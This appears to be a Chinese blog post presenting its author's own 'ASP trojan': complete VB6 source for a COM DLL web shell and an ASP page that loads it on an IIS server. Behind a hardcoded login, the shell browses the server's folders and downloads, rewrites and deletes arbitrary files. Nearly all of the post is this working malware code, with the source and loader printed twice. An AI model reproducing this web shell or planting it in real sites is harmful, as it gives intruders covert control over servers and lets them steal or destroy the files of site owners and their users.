近无事,乱写的asp木马(dll版本)
+展开
-VBScript
'工程名称asphook
'类名aspclass
'编译为dll时,需要添加对microsoft active page object library的引用
'测试需要"Scripting.FileSystemObject"和"adodb.Stream"参数
'先fso再stream参数,参数值根据注册表的名称,要不无法使用
VERSION 1.0 CLASS
BEGIN
MultiUse = -1 'True
Persistable = 0 'NotPersistable
DataBindingBehavior = 0 'vbNone
DataSourceBehavior = 0 'vbNone
MTSTransactionMode = 0 'NotAnMTSObject
END
Attribute VB_Name = "aspclass"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = True
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Option Explicit
Dim fso, currentfolder, folders, files, foldersStr, filesStr, querystringpath, fsostr, streamstr, username, userpwd
Private MyServer As Server
Private MyRequest As Request
Private MyResponse As Response
Private MySession As Session
Private MyScriptContext As ScriptingContext
Public Sub OnStartPage(NowPageContext As ScriptingContext)
Set MyScriptContext = NowPageContext
Set MyServer = MyScriptContext.Server
Set MyRequest = MyScriptContext.Request
Set MyResponse = MyScriptContext.Response
Set MySession = MyScriptContext.Session
username = "sebo"
userpwd = "wogannilaoshi"
End Sub
Public Sub OnEndPage()
Set MyScriptContext = Nothing
Set MyRequest = Nothing
Set MyServer = Nothing
Set MyResponse = Nothing
Set MySession = Nothing
End Sub
Public Sub StartJob(adoKey, streamKey)
fsostr = adoKey
If fsostr = "" Then fsostr = "scripting.filesystemobject"
streamstr = streamKey
If streamstr = "" Then streamstr = "adodb.stream"
Call showHeader
Dim action
On Error Resume Next
Set fso = MyServer.CreateObject(fsostr)
If Err <> 0 Then
MyResponse.Write "无法创建FSO对象！"
Call showFooter
MyResponse.End
End If
On Error GoTo 0
action = MyRequest.QueryString("a") & ""
If action = "login" Then
Call ckuser
End If
If MySession("login") = "" Then
Call showLogin
Call showFooter
MyResponse.End
End If
If action = "del" Then
Call DelFile
ElseIf action = "down" Then
Call DownLoadFile
ElseIf action = "upread" Then
Call UpdateRead
Call showFooter
MyResponse.End
ElseIf action = "upcontent" Then
Call UpdateFile
End If
If MySession("login") <> "" And action <> "upread" Then
Call StartHDDRead
End If
Call showFooter
End Sub
Private Sub showHeader()
MyResponse.Write "<html><head><title>FileMG测试</title><meta http-equiv='Content-Type'" & _
"content='text/html;charset=gb2312' />"
MyResponse.Write "<style>body{font-size:9pt}" & vbNewLine & "td{font-size:9pt}" & _
vbNewLine & "a{font-size:9pt}</style></head><body>"
End Sub
Private Sub showFooter()
Set fso = Nothing
MyResponse.Write "</body></html>"
End Sub
Private Sub DelFile()
Dim fn
fn = UnEncode(MyRequest.QueryString("fn") & "")
If fso.FileExists(fn) Then fso.DeleteFile fn, True
End Sub
Private Sub DownLoadFile()
Dim fileName, fileContentType, stream, thePath
thePath = UnEncode(MyRequest.QueryString("fn") & "")
fileName = Split(thePath, "\")(UBound(Split(thePath, "\")))
Set stream = MyServer.CreateObject(streamstr)
stream.Open
stream.Type = 1
stream.LoadFromFile (thePath)
fileContentType = getContentType(fileName)
MyResponse.AddHeader "Content-Disposition", "attachment; filename=" & fileName
MyResponse.AddHeader "Content-Length", stream.Size
MyResponse.Charset = "UTF-8"
MyResponse.ContentType = fileContentType
MyResponse.BinaryWrite stream.read
MyResponse.Flush
stream.Close
Set stream = Nothing
End Sub
Private Function getContentType(fileName)
Select Case Split(fileName, ".")(UBound(Split(fileName, ".")))
Case "asf"
getContentType = "video/x-ms-asf"
Case "avi"
getContentType = "video/avi"
Case "doc"
getContentType = "application/msword"
Case "zip"
getContentType = "application/zip"
Case "xls"
getContentType = "application/vnd.ms-excel"
Case "gif"
getContentType = "image/gif"
Case "jpg", "jpeg"
getContentType = "image/jpeg"
Case "wav"
getContentType = "audio/wav"
Case "mp3"
getContentType = "audio/mpeg3"
Case "mpg", "mpeg"
getContentType = "video/mpeg"
Case "rtf"
getContentType = "application/rtf"
Case "htm", "html"
getContentType = "text/html"
Case "txt", "js"
getContentType = "text/plain"
Case Else
getContentType = "application/octet-stream"
End Select
End Function
Private Sub UpdateRead()
Dim stream, fileEncoder
fileEncoder = checkFileEncoder() '获取文件编码格式
Set stream = MyServer.CreateObject(streamstr)
stream.Charset = fileEncoder '设置编码格式
stream.Type = 2 '先设置为2进制，主要是为了判断文件编码
stream.Mode = 3 'forreadwrite
stream.Open
stream.LoadFromFile MyRequest.QueryString("fn")
MyResponse.Write "<div align='center'><form method='post' action='?a=upcontent&f=" & _
Encode(MyRequest.QueryString("f")) & "&fn=" & Encode(MyRequest.QueryString("fn")) & "'>"
MyResponse.Write "<br/><textarea name='ct' cols='72' rows='30'>" & stream.ReadText() & "</textarea><br/>"
MyResponse.Write "<input type='submit' value='提交'/> <a href='javascript:history.back()'>返回</a>"
MyResponse.Write "</form></div>"
stream.Close
Set stream = Nothing
End Sub
Private Sub UpdateFile()
Dim stream, fileEncoder
fileEncoder = checkFileEncoder() '获取文件编码格式
Set stream = MyServer.CreateObject(streamstr)
stream.Charset = fileEncoder '设置编码
stream.Type = 2 '文本
stream.Mode = 3 'forreadwrite
stream.Open
stream.writeText MyRequest.Form("ct"), 1
stream.SaveToFile UnEncode(MyRequest.QueryString("fn")), 2
stream.Close
Set stream = Nothing
End Sub
'ANSI 无格式定义；
'Unicode 前两个字节为FFFE；
'Unicode big endian 前两字节为FEFF；
'UTF-8 前两字节为EFBB；
Private Function checkFileEncoder()
Dim stream, binheader
Set stream = MyServer.CreateObject(streamstr)
stream.Type = 1
stream.Mode = 3 'forreadwrite
stream.Open
stream.LoadFromFile MyRequest.QueryString("fn")
stream.position = 0
binheader = stream.read(2)
stream.Close
Set stream = Nothing
If LenB(binheader) = 1 Then checkFileEncoder = "gb2312"
If AscB(MidB(binheader, 1, 1)) = &HEF And AscB(MidB(binheader, 2, 1)) = &HBB Then
checkFileEncoder = "utf-8"
ElseIf AscB(MidB(binheader, 1, 1)) = &HFF And AscB(MidB(binheader, 2, 1)) = &HFE Then
checkFileEncoder = "unicode"
Else
checkFileEncoder = "gb2312"
End If
End Function
Private Function UnEncode(str)
str = Replace(str, "%5c", "\")
UnEncode = str
End Function
Private Function Encode(str)
str = Replace(str, "\", "%5c")
Encode = str
End Function
Private Sub showLogin()
MyResponse.Write "<script type='text/javascript'>function check(f)" & vbNewLine & _
"{if(f.un.value==''){alert('用户名不能为空！');f.un.focus();return false;}" & vbNewLine & _
"if(f.pwd.value==''){alert('密码不能为空！');f.pwd.focus();return false;}}" & vbNewLine & _
"window.(){document.getElementById('un').focus();}</script>" & vbNewLine
MyResponse.Write "<form method='post' action='?a=login' onsubmit='return check(this)'>"
MyResponse.Write "<div align='center'>"
MyResponse.Write "用户名：<input type='text' style='width:200px' name='un' id='un'/><br/>"
MyResponse.Write "密 码：<input type='password' style='width:200px' name='pwd'/><br/>"
MyResponse.Write "<input type='submit' value='提交'/></div></form>"
MyResponse.Write ""
End Sub
Private Sub ckuser()
If MyRequest.Form("pwd") <> "" And MyRequest.Form("un") <> "" Then
If MyRequest.Form("pwd") = userpwd And MyRequest.Form("un") = username Then
MySession("login") = "sebo"
Else
MyResponse.Write "<script>alert('用户名或者密码有误！');history.back();</script>"
MyResponse.End
End If
Else
MyResponse.Write "<script>alert('用户名或者密码不能为空！');history.back();</script>"
MyResponse.End
End If
End Sub
Private Sub StartHDDRead()
On Error Resume Next
querystringpath = UnEncode(MyRequest.QueryString("f"))
If IsNull(querystringpath) Or querystringpath = "" Then querystringpath = MyServer.MapPath(".")
Set currentfolder = fso.GetFolder(querystringpath)
If Err <> 0 Then MyResponse.Write "<script>alert('你的权限不够！');history.back();</script>"
On Error GoTo 0
Set files = currentfolder.files
Set folders = currentfolder.subfolders
foldersStr = getFoldersStr()
filesStr = getFilesStr()
MyResponse.Write "<table width='500' boder='0' cellspading='0' cellspacing='2' align='center'>"
MyResponse.Write "<tr><td colspan='2'>当前路径：" & currentfolder.Path & "</td></tr>"
MyResponse.Write "<tr style='background-color:#cccccc'><td width='30%'>目录</div></td>" & _
"<td width='70%'>文件</td></tr>"
MyResponse.Write "<tr><td width='30%' valign='top' style='background-color:#eeeeee'>" & foldersStr & _
"</td><td width='70%' valign='top'>" & filesStr & "</td></tr>"
MyResponse.Write "</table>"
Set currentfolder = Nothing
Set files = Nothing
Set folders = Nothing
End Sub
Private Function getFoldersStr()
Dim str, opstr, divstyle, rootfolder
divstyle = " this.style.textDecoration='underline';"" " & _
" this.style.textDecoration='none';"" title='双击进入文件夹'"
On Error Resume Next
rootfolder = currentfolder.parentfolder
On Error GoTo 0
If Err <> 0 Or rootfolder = "" Or IsNull(rootfolder) Then
opstr = "alert('这已经是站点的根目录或者您没有权限访问这个目录！')"
Else
opstr = "window.location='?f=" & Encode(rootfolder) & "'"
End If
str = "<div " & opstr & """ " & divstyle & ">返回上一级目录</div>"
Dim fd
For Each fd In folders
str = str & "<div window.location='?f=" & Encode(fd.Path) & "'"" " & _
divstyle & ">" & fd.Name & "</div>"
Next
getFoldersStr = str
End Function
Private Function getFilesStr()
Dim str, fl
str = "<table width='100%' border='0' cellspacing='2' cellpadding='0'>"
For Each fl In files
str = str & "<tr><td width='55%' title='文件名：" & fl.Name & vbNewLine & "类型：" & fl.Type & vbNewLine & _
"最后修改：" & fl.datelastmodified & "'><a target='_blank' href='" & fl.Name & "'>" & fl.Name & _
"</a></td><td width='20%'>" & (fl.Size \ 1024) & "KB</td>" & _
"<td width='25%'><a href='?f=" & Encode(currentfolder.Path) & "&a=down&fn=" & Encode(fl.Path) & "'>下载</a>" & _
" <a href='?f=" & Encode(currentfolder.Path) & "&a=upread&fn=" & Encode(fl.Path) & "'>修改</a>" & _
" <a href='#' if(confirm('确认删除？'))window.location='?f=" & Encode(currentfolder.Path) & _
"&a=del&fn=" & Encode(fl.Path) & "'"">删除</a></td></tr>"
Next
str = str & "</table>"
getFilesStr = str
End Function
'类名aspclass
'编译为dll时,需要添加对microsoft active page object library的引用
'测试需要"Scripting.FileSystemObject"和"adodb.Stream"参数
'先fso再stream参数,参数值根据注册表的名称,要不无法使用
VERSION 1.0 CLASS
BEGIN
MultiUse = -1 'True
Persistable = 0 'NotPersistable
DataBindingBehavior = 0 'vbNone
DataSourceBehavior = 0 'vbNone
MTSTransactionMode = 0 'NotAnMTSObject
END
Attribute VB_Name = "aspclass"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = True
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Option Explicit
Dim fso, currentfolder, folders, files, foldersStr, filesStr, querystringpath, fsostr, streamstr, username, userpwd
Private MyServer As Server
Private MyRequest As Request
Private MyResponse As Response
Private MySession As Session
Private MyScriptContext As ScriptingContext
Public Sub OnStartPage(NowPageContext As ScriptingContext)
Set MyScriptContext = NowPageContext
Set MyServer = MyScriptContext.Server
Set MyRequest = MyScriptContext.Request
Set MyResponse = MyScriptContext.Response
Set MySession = MyScriptContext.Session
username = "sebo"
userpwd = "wogannilaoshi"
End Sub
Public Sub OnEndPage()
Set MyScriptContext = Nothing
Set MyRequest = Nothing
Set MyServer = Nothing
Set MyResponse = Nothing
Set MySession = Nothing
End Sub
Public Sub StartJob(adoKey, streamKey)
fsostr = adoKey
If fsostr = "" Then fsostr = "scripting.filesystemobject"
streamstr = streamKey
If streamstr = "" Then streamstr = "adodb.stream"
Call showHeader
Dim action
On Error Resume Next
Set fso = MyServer.CreateObject(fsostr)
If Err <> 0 Then
MyResponse.Write "无法创建FSO对象！"
Call showFooter
MyResponse.End
End If
On Error GoTo 0
action = MyRequest.QueryString("a") & ""
If action = "login" Then
Call ckuser
End If
If MySession("login") = "" Then
Call showLogin
Call showFooter
MyResponse.End
End If
If action = "del" Then
Call DelFile
ElseIf action = "down" Then
Call DownLoadFile
ElseIf action = "upread" Then
Call UpdateRead
Call showFooter
MyResponse.End
ElseIf action = "upcontent" Then
Call UpdateFile
End If
If MySession("login") <> "" And action <> "upread" Then
Call StartHDDRead
End If
Call showFooter
End Sub
Private Sub showHeader()
MyResponse.Write "<html><head><title>FileMG测试</title><meta http-equiv='Content-Type'" & _
"content='text/html;charset=gb2312' />"
MyResponse.Write "<style>body{font-size:9pt}" & vbNewLine & "td{font-size:9pt}" & _
vbNewLine & "a{font-size:9pt}</style></head><body>"
End Sub
Private Sub showFooter()
Set fso = Nothing
MyResponse.Write "</body></html>"
End Sub
Private Sub DelFile()
Dim fn
fn = UnEncode(MyRequest.QueryString("fn") & "")
If fso.FileExists(fn) Then fso.DeleteFile fn, True
End Sub
Private Sub DownLoadFile()
Dim fileName, fileContentType, stream, thePath
thePath = UnEncode(MyRequest.QueryString("fn") & "")
fileName = Split(thePath, "\")(UBound(Split(thePath, "\")))
Set stream = MyServer.CreateObject(streamstr)
stream.Open
stream.Type = 1
stream.LoadFromFile (thePath)
fileContentType = getContentType(fileName)
MyResponse.AddHeader "Content-Disposition", "attachment; filename=" & fileName
MyResponse.AddHeader "Content-Length", stream.Size
MyResponse.Charset = "UTF-8"
MyResponse.ContentType = fileContentType
MyResponse.BinaryWrite stream.read
MyResponse.Flush
stream.Close
Set stream = Nothing
End Sub
Private Function getContentType(fileName)
Select Case Split(fileName, ".")(UBound(Split(fileName, ".")))
Case "asf"
getContentType = "video/x-ms-asf"
Case "avi"
getContentType = "video/avi"
Case "doc"
getContentType = "application/msword"
Case "zip"
getContentType = "application/zip"
Case "xls"
getContentType = "application/vnd.ms-excel"
Case "gif"
getContentType = "image/gif"
Case "jpg", "jpeg"
getContentType = "image/jpeg"
Case "wav"
getContentType = "audio/wav"
Case "mp3"
getContentType = "audio/mpeg3"
Case "mpg", "mpeg"
getContentType = "video/mpeg"
Case "rtf"
getContentType = "application/rtf"
Case "htm", "html"
getContentType = "text/html"
Case "txt", "js"
getContentType = "text/plain"
Case Else
getContentType = "application/octet-stream"
End Select
End Function
Private Sub UpdateRead()
Dim stream, fileEncoder
fileEncoder = checkFileEncoder() '获取文件编码格式
Set stream = MyServer.CreateObject(streamstr)
stream.Charset = fileEncoder '设置编码格式
stream.Type = 2 '先设置为2进制，主要是为了判断文件编码
stream.Mode = 3 'forreadwrite
stream.Open
stream.LoadFromFile MyRequest.QueryString("fn")
MyResponse.Write "<div align='center'><form method='post' action='?a=upcontent&f=" & _
Encode(MyRequest.QueryString("f")) & "&fn=" & Encode(MyRequest.QueryString("fn")) & "'>"
MyResponse.Write "<br/><textarea name='ct' cols='72' rows='30'>" & stream.ReadText() & "</textarea><br/>"
MyResponse.Write "<input type='submit' value='提交'/> <a href='javascript:history.back()'>返回</a>"
MyResponse.Write "</form></div>"
stream.Close
Set stream = Nothing
End Sub
Private Sub UpdateFile()
Dim stream, fileEncoder
fileEncoder = checkFileEncoder() '获取文件编码格式
Set stream = MyServer.CreateObject(streamstr)
stream.Charset = fileEncoder '设置编码
stream.Type = 2 '文本
stream.Mode = 3 'forreadwrite
stream.Open
stream.writeText MyRequest.Form("ct"), 1
stream.SaveToFile UnEncode(MyRequest.QueryString("fn")), 2
stream.Close
Set stream = Nothing
End Sub
'ANSI 无格式定义；
'Unicode 前两个字节为FFFE；
'Unicode big endian 前两字节为FEFF；
'UTF-8 前两字节为EFBB；
Private Function checkFileEncoder()
Dim stream, binheader
Set stream = MyServer.CreateObject(streamstr)
stream.Type = 1
stream.Mode = 3 'forreadwrite
stream.Open
stream.LoadFromFile MyRequest.QueryString("fn")
stream.position = 0
binheader = stream.read(2)
stream.Close
Set stream = Nothing
If LenB(binheader) = 1 Then checkFileEncoder = "gb2312"
If AscB(MidB(binheader, 1, 1)) = &HEF And AscB(MidB(binheader, 2, 1)) = &HBB Then
checkFileEncoder = "utf-8"
ElseIf AscB(MidB(binheader, 1, 1)) = &HFF And AscB(MidB(binheader, 2, 1)) = &HFE Then
checkFileEncoder = "unicode"
Else
checkFileEncoder = "gb2312"
End If
End Function
Private Function UnEncode(str)
str = Replace(str, "%5c", "\")
UnEncode = str
End Function
Private Function Encode(str)
str = Replace(str, "\", "%5c")
Encode = str
End Function
Private Sub showLogin()
MyResponse.Write "<script type='text/javascript'>function check(f)" & vbNewLine & _
"{if(f.un.value==''){alert('用户名不能为空！');f.un.focus();return false;}" & vbNewLine & _
"if(f.pwd.value==''){alert('密码不能为空！');f.pwd.focus();return false;}}" & vbNewLine & _
"window.(){document.getElementById('un').focus();}</script>" & vbNewLine
MyResponse.Write "<form method='post' action='?a=login' onsubmit='return check(this)'>"
MyResponse.Write "<div align='center'>"
MyResponse.Write "用户名：<input type='text' style='width:200px' name='un' id='un'/><br/>"
MyResponse.Write "密 码：<input type='password' style='width:200px' name='pwd'/><br/>"
MyResponse.Write "<input type='submit' value='提交'/></div></form>"
MyResponse.Write ""
End Sub
Private Sub ckuser()
If MyRequest.Form("pwd") <> "" And MyRequest.Form("un") <> "" Then
If MyRequest.Form("pwd") = userpwd And MyRequest.Form("un") = username Then
MySession("login") = "sebo"
Else
MyResponse.Write "<script>alert('用户名或者密码有误！');history.back();</script>"
MyResponse.End
End If
Else
MyResponse.Write "<script>alert('用户名或者密码不能为空！');history.back();</script>"
MyResponse.End
End If
End Sub
Private Sub StartHDDRead()
On Error Resume Next
querystringpath = UnEncode(MyRequest.QueryString("f"))
If IsNull(querystringpath) Or querystringpath = "" Then querystringpath = MyServer.MapPath(".")
Set currentfolder = fso.GetFolder(querystringpath)
If Err <> 0 Then MyResponse.Write "<script>alert('你的权限不够！');history.back();</script>"
On Error GoTo 0
Set files = currentfolder.files
Set folders = currentfolder.subfolders
foldersStr = getFoldersStr()
filesStr = getFilesStr()
MyResponse.Write "<table width='500' boder='0' cellspading='0' cellspacing='2' align='center'>"
MyResponse.Write "<tr><td colspan='2'>当前路径：" & currentfolder.Path & "</td></tr>"
MyResponse.Write "<tr style='background-color:#cccccc'><td width='30%'>目录</div></td>" & _
"<td width='70%'>文件</td></tr>"
MyResponse.Write "<tr><td width='30%' valign='top' style='background-color:#eeeeee'>" & foldersStr & _
"</td><td width='70%' valign='top'>" & filesStr & "</td></tr>"
MyResponse.Write "</table>"
Set currentfolder = Nothing
Set files = Nothing
Set folders = Nothing
End Sub
Private Function getFoldersStr()
Dim str, opstr, divstyle, rootfolder
divstyle = " this.style.textDecoration='underline';"" " & _
" this.style.textDecoration='none';"" title='双击进入文件夹'"
On Error Resume Next
rootfolder = currentfolder.parentfolder
On Error GoTo 0
If Err <> 0 Or rootfolder = "" Or IsNull(rootfolder) Then
opstr = "alert('这已经是站点的根目录或者您没有权限访问这个目录！')"
Else
opstr = "window.location='?f=" & Encode(rootfolder) & "'"
End If
str = "<div " & opstr & """ " & divstyle & ">返回上一级目录</div>"
Dim fd
For Each fd In folders
str = str & "<div window.location='?f=" & Encode(fd.Path) & "'"" " & _
divstyle & ">" & fd.Name & "</div>"
Next
getFoldersStr = str
End Function
Private Function getFilesStr()
Dim str, fl
str = "<table width='100%' border='0' cellspacing='2' cellpadding='0'>"
For Each fl In files
str = str & "<tr><td width='55%' title='文件名：" & fl.Name & vbNewLine & "类型：" & fl.Type & vbNewLine & _
"最后修改：" & fl.datelastmodified & "'><a target='_blank' href='" & fl.Name & "'>" & fl.Name & _
"</a></td><td width='20%'>" & (fl.Size \ 1024) & "KB</td>" & _
"<td width='25%'><a href='?f=" & Encode(currentfolder.Path) & "&a=down&fn=" & Encode(fl.Path) & "'>下载</a>" & _
" <a href='?f=" & Encode(currentfolder.Path) & "&a=upread&fn=" & Encode(fl.Path) & "'>修改</a>" & _
" <a href='#' if(confirm('确认删除？'))window.location='?f=" & Encode(currentfolder.Path) & _
"&a=del&fn=" & Encode(fl.Path) & "'"">删除</a></td></tr>"
Next
str = str & "</table>"
getFilesStr = str
End Function
测试页面
+展开
-HTML
<%
dim asphook
on error resume next
set asphook=server.createobject("asphook.aspclass")
if err<>0 then
response.write "不能创建组件！"
set asphook=nothing
response.end
end if
on error goto 0
call asphook.startjob ("","")'如果不一样的注册表,请修改这里
set asphook=nothing
%>
dim asphook
on error resume next
set asphook=server.createobject("asphook.aspclass")
if err<>0 then
response.write "不能创建组件！"
set asphook=nothing
response.end
end if
on error goto 0
call asphook.startjob ("","")'如果不一样的注册表,请修改这里
set asphook=nothing
%>
加支付宝好友偷能量挖...
原创文章，转载请注明出处：近无事,乱写的asp木马(dll版本)